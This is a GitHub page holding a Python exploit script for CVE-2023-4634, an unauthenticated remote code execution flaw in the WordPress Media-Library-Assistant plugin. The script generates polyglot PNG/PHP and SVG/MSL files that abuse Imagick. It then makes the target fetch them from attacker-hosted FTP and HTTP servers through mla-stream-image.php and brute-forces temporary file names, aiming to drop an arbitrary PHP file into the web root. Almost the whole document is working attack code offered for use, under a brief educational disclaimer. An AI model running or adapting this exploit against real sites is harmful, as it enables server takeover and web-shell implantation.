-
Notifications
You must be signed in to change notification settings - Fork 9
/
CVE-2023-4634.py
355 lines (308 loc) · 14.7 KB
/
CVE-2023-4634.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
#!/usr/bin/python3
# Exploit Title: Unauthenticated Remote Code Execution on Media-Library-Assistant Wordpress plugin
# Exploit Author: Florent MONTEL @Pepitoh / Twitter @Pepito_oh
# Product Version: Wordpress Plugins Media-Library-Assistant version < 3.10
# CVE: CVE-2023-4634
# Copyright: 2023, Patrowl.io
#
# Disclaimer: This script is intended to be used for educational purposes only.
# Do not run this against any system that you do not have permission to test.
# The author will not be held responsible for any use or damage caused by this
# program.
import grequests
import requests_ftp
import argparse
import requests
import random
import time
import re
import os
from PIL import Image
from PIL.PngImagePlugin import PngInfo
banner = """
MMMMMMMMMMMMMMMN0d;.';dKWMMMMMMMMMMMMMMM
MMMMMMMMMMWN0xc;'.,;;,.';lx0NWMMMMMMMMMM
MMMMMWNKkl:'.,:ldddoodddl:'.':okKNWMMMMM
MMMWOc,.';loddl:'. .':lddoc;'.,c0WMMM
MMMN:.:OX0l'. .,oKKk;.lNMMM
MMMWl.dkk0l. .o0kOo.dWMMM
MMMMx.co.cOk, ;kO:'d:.kMMMM
MMMM0';d. lNXo. 'dXNo.'d,,KMMMM
MMMMX;'d;,0OlxOl. .oOd:xKccd.:NMMMM
MMMMWl.dc;0O'.c0O:. .c00:..dKloo.oWMMMM
MMMMMx.lo.;xOxxOOOkddkOkOxxkk:,dc.kMMMMM
MMMMMO':d. .''. .cxdc. .''..,xO;,0MMMMM
MMMMMK;,d, .;lcdx':XMMMMM
MMMMMNc.d: ...;cllc;. co.lWMMMMM
MMMMMWd.od. .':odxxdl;. .xc.xMMMMMM
MMMMMMO''xd;;d0KOo;.. .;xx.,0MMMMMM
MMMMMMNd..cd0WXo. .:odo:.'kWMMMMMM
MMMMMMMWKd:'';oddc,..,lddl;'':xXWMMMMMMM
MMMMMMMMMMWXkl,',cdddoc,';oOXWMMMMMMMMMM
MWWWMMMMMMMMMMN0d:'..,cxKWMMMMMMMMMMMMMM
MWWWMMMWWWMMMMWMMMKkXMWXKKXMMMMMMMMMMMMM
CVE-2023-4634.py // Unauthenticated Remote Code Execution on Media-Library-Assistant Wordpress plugin with default Imagick configuration by Patrowl
- Pepitoh ([email protected])
Product:
- Wordpress Plugins Media-Library-Assistant version < 3.10 """
# Color output
COLORS = {
"grey": 30,
"red": 31,
"green": 32,
"yellow": 33,
"blue": 34,
"magenta": 35,
"cyan": 36,
"white": 37
}
def colored(text: str, color: str) -> str:
"""Colorize text with ANSI escape sequences."""
return f"\033[{COLORS[color]}m{text}\033[0m"
if __name__ == '__main__':
parser = argparse.ArgumentParser(
prog="CVE-2023-4634 Exploit",
description="Exploit CVE-2023-4634 on Media-Library-Assistant version < 3.10",
allow_abbrev=False
)
parser.add_argument(
'--target',
nargs='?',
help='URL of the Target, ex: http://victimwordpress.org')
parser.add_argument(
'--remoteftp',
nargs='?',
help='URL of the remote FTP use to store SVGs files, ex: ftp://X.X.X.X:PORT')
parser.add_argument(
'--remotehttp',
nargs='?',
help='URL of the remote HTTP use to store the final Polyglot PNG/PHP file, ex: http://X.X.X.X:PORT')
parser.add_argument(
'--svg_polyglot_name',
nargs='?',
help='Name of the external polyglot SVG/MSL file used (for generation or final usage), ex: poly.svg')
parser.add_argument(
'--svg_exploiter_names',
nargs='?',
help='Name of the external VID bruteforcers file use, the FUZZ part will be replaced by the first letter bruteforced (for generation or final usage), ex: exploiter_FUZZ.svg')
parser.add_argument(
'--png_polyglot_name',
nargs='?',
help='Name of the external PNG/PHP to use (for generation or final usage), ex: exploiter_FUZZ.svg')
parser.add_argument(
'--concurrency',
nargs='?',
type=int,
default = 100,
help='Number of concurrent long SVG conversion requests to make (default 100)')
parser.add_argument(
'--generatesvg',
action=argparse.BooleanOptionalAction,
help='Generate both polyglot SVG/MSL file and VID bruteforcer within the remote_ftp directory')
parser.add_argument(
'--webserverpath',
help='Path of the webserver on the victim server (could be found with the LFI and wp-config file), ex: /var/www/html')
parser.add_argument(
'--exploitname',
help='Dropped exploit name, ex: pwned.php')
parser.add_argument(
'--generatepng',
action=argparse.BooleanOptionalAction,
help='Generate polyglot PNG/PHP file, integrate php file with -payload option in exploit-png folder')
parser.add_argument(
'--payload',
help='PHP Payload to integrate in the PNG file, ex: <?php phpinfo(); ?>')
args = parser.parse_args()
target = args.target
remoteftp = args.remoteftp
remotehttp = args.remotehttp
svg_polyglot_name = args.svg_polyglot_name
svg_exploiter_names = args.svg_exploiter_names
png_polyglot_name = args.png_polyglot_name
concurrency = args.concurrency
generatesvg = args.generatesvg
generatepng = args.generatepng
webserverpath = args.webserverpath
exploitname = args.exploitname
payload = args.payload
MAX_CONCURRENT_THREADS = 10
bruteforce_list = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-"
print(colored(banner, "white"))
print(colored("\n", "white"))
print(colored("[-] Checking arguments", "cyan"))
#Option to generate the polyglot PNG/PHP file
if generatepng:
print(colored("\t[-] Option to generate polyglot PNG/PHP selected", "cyan"))
if not payload or not png_polyglot_name:
print(colored("\t[x] The --payload and --png_polyglot_name options are needed to be set to create the PNG file", "red"))
exit()
if not os.path.exists("./exploit-png"):
os.mkdir("./exploit-png")
try:
targetImage = Image.open("exploit-png/sample.png")
metadata = PngInfo()
metadata.add_text("Comment", payload)
targetImage.save("exploit-png/"+png_polyglot_name, pnginfo=metadata)
print(colored("\t\t[-] "+png_polyglot_name+" polyglot PNG/PHP file generated", "green"))
exit()
except Exception as e:
print(colored("\t[x] No PNG file found in the folder exploit-png, add a standard PNG sample.png in it", "red"))
exit()
#Generate SVG Files
elif generatesvg:
print(colored("\t[-] Option to generate SVG selected", "cyan"))
if not svg_polyglot_name or not svg_exploiter_names or not remotehttp or not png_polyglot_name or not webserverpath or not exploitname:
print(colored("\t\t[x] The --svg_polyglot_name, --svg_exploiter_names, --remotehttp, --png_polyglot_name, --webserverpath and --exploitname options are needed to create the SVG/MSL Polyglot file", "red"))
exit()
elif "FUZZ" not in svg_exploiter_names:
print(colored("\t\t[x] The --svg_exploiter_names needs to include a FUZZ part to create the files", "red"))
exit()
else:
print(colored("\t[-] Generating polyglot SVG/MSL file using user inputs", "cyan"))
poly_svg = """<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<image>
<read filename=\"%(remotehttp)s\" />
<resize geometry=\"400x400\" />
<write filename=\"%(webserverpath)s\" />
<get width=\"base-width\" height=\"base-height\" />
<svg width=\"700\" height=\"700\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">
<image xlink:href=\"http://192.192.192.23:1664/neverExist.svg\" height="100" width="100"/>
</svg>
</image>""" % { "remotehttp": remotehttp +"/"+png_polyglot_name , "webserverpath" : webserverpath+"/"+exploitname }
if not os.path.exists("./remote_ftp"):
os.mkdir("./remote_ftp")
f = open("./remote_ftp/"+svg_polyglot_name,"w")
f.write(poly_svg)
f.close()
f = open("./remote_ftp/"+svg_polyglot_name+"[0]", "w")
f.write(poly_svg)
f.close()
print(colored("\t\t[-] "+svg_polyglot_name+" generated", "green"))
#Generating msl:vid bruteforcers
print(colored("\t[-] Generating bruteforce file using text:vid:msl formatter", "cyan"))
for i in bruteforce_list:
filename = svg_exploiter_names.replace("FUZZ",i)
exploiter_content = """<svg width=\"500\" height=\"500\"
xmlns:xlink=\"http://www.w3.org/1999/xlink\">
xmlns=\"http://www.w3.org/2000/svg\">
<image xlink:href=\"text:vid:msl:/tmp/magick-%(letter)s*\" width=\"500\" height=\"500\" />
</svg>""" % { "letter" : i }
f = open("./remote_ftp/"+filename, "w")
f.write(exploiter_content)
f.close
f = open("./remote_ftp/"+filename+"[0]", "w")
f.write(exploiter_content)
f.close
print(colored("\t\t[-] "+filename+" generated", "green"))
print(colored("\t[-] All files have been generated successfully", "green"))
exit()
#Exploitation Part
elif target and remoteftp and remotehttp and svg_polyglot_name and svg_exploiter_names and png_polyglot_name and exploitname:
print(colored("\t[-] All arguments for exploiting target are set, beginning the first checks", "green"))
if "FUZZ" not in svg_exploiter_names:
print(colored("\t\t[x] The --svg_exploiter_names needs to include a FUZZ part to be used in exploitation", "red"))
exit()
target_mla = target+"/wp-content/plugins/media-library-assistant/includes/mla-stream-image.php"
target_mla_readme = target+"/wp-content/plugins/media-library-assistant/readme.txt"
try:
r = requests.get(target_mla_readme)
except Exception as e:
print(colored("\t[x] The target seems to be down, error:" +str(e), "red"))
if r.status_code == 404:
print(colored("\t[x] The target seems not be running the plugin", "red"))
exit()
else:
if re.findall('(?mi)Stable tag: ([0-9.]+)', r.text):
if float(re.findall('(?mi)Stable tag: ([0-9.]+)', r.text)[0]) < 3.10:
print(colored("\t[-] The target seems to be running the plugin in vulnerable version (<3.10)", "green"))
else:
print(colored("\t[x] The Plugin version seems to be installed but not in a vulnerable version", "red"))
#Checking FTP files
ftp_target = remoteftp + "/" +svg_polyglot_name
ftp_taget_frame = ftp_target+"[0]"
requests_ftp.monkeypatch_session()
s = requests.Session()
try:
resp = s.get(ftp_target)
except:
print(colored("\t[x] Error while getting the remote FTP polyglot SVG/MSL file "+ftp_target, "red"))
exit()
if (resp.status_code == 200):
print(colored("\t[-] The remote FTP polyglot SVG/MSL file is reachable", "green"))
try:
resp = s.get(ftp_taget_frame)
except:
print(colored("\t[x] Error while getting the remote FTP polyglot SVG/MSL file ending with [0] "+ftp_target, "red"))
exit()
if (resp.status_code == 200):
print(colored("\t[-] The remote FTP polyglot SVG/MSL file ending with [0] is reachable", "green"))
ftp_target_exploiter = remoteftp + "/"+svg_exploiter_names.replace("FUZZ", random.choice(bruteforce_list))
ftp_taget_exploiter_frame = ftp_target_exploiter+"[0]"
requests_ftp.monkeypatch_session()
s = requests.Session()
try:
resp = s.get(ftp_target_exploiter)
except:
print(colored("\t[x] Error while getting a sample remote FTP exploiter VID test file "+ftp_target, "red"))
exit()
if (resp.status_code == 200):
print(colored("\t[-] A sample remote FTP exploiter VID test file is reachable", "green"))
try:
resp = s.get(ftp_taget_exploiter_frame)
except:
print(colored("\t[x] Error while getting a sample remote FTP exploiter VID test file ending with [0] "+ftp_target, "red"))
exit()
if (resp.status_code == 200):
print(colored("\t[-] A sample Remote FTP exploiter VID test file ending with [0] is reachable", "green"))
#Checking final PNG/PHP polyglot file
remote_virus = remotehttp +"/"+png_polyglot_name
try:
r = requests.get(remote_virus)
except Exception as e:
print(colored("\t[x] The Remote HTTP Server Hosting PNG Virus seems to be down, error:" +str(e), "red"))
exit()
if r.status_code == 404:
print(colored("\t[x] The remote PNG/PHP file is not reachable (404)", "red"))
exit()
else:
print(colored("\t[-] The remote Exploit PNG/PHP file is reachable", "green"))
#Laucnhing exploitation
print(colored("[!] All arguments have been checked correctly, lauching exploitation", "yellow"))
print(colored("[-] Lauching "+str(concurrency)+" Threads on long SVG", "cyan"))
exploit_url = target_mla + "?mla_stream_file="+ftp_target
exploit_ploly_list = [exploit_url] * concurrency
rs = (grequests.get(u,timeout=0.5) for u in exploit_ploly_list)
grequests.map(rs)
print(colored("[-] Waiting 5 second for the file to be created", "cyan"))
time.sleep(5)
print(colored("[-] Starting Bruteforcing with VID exploiters", "cyan"))
exploit_url_list = []
for i in bruteforce_list:
exploit_url = target_mla + "?mla_stream_file="+remoteftp+"/"+svg_exploiter_names.replace("FUZZ",i)
exploit_url_list.append(exploit_url)
rs = (grequests.get(u,timeout=0.5) for u in exploit_url_list)
grequests.map(rs)
time.sleep(5)
print(colored("[-] Checking the drop of "+exploitname, "cyan"))
target_virus = target+"/"+exploitname
i = 0
#timeout to 80 second
while i <= 8:
try:
r = requests.get(target_virus)
except Exception as e:
print(colored("\t[!] Error while reaching the target URL, hope you did not crash it: " +str(e), "red"))
exit()
if (r.status_code == 200):
print(colored("\t[-] Exploit worked!, the PHP file is in the web directory, Enjoy 🔥", "green"))
exit()
else:
print(colored("\t[!] Not yet, try "+str(i+1)+" on 9 ... checking again in 10 seconds", "yellow"))
time.sleep(10)
i =+ i+1
continue
print(colored("\t[!] Exploit has not worked, try by increase concurrency value or use another method", "red"))
exit()
else:
print(colored("\t[!] Missing arguments!", "red"))
exit()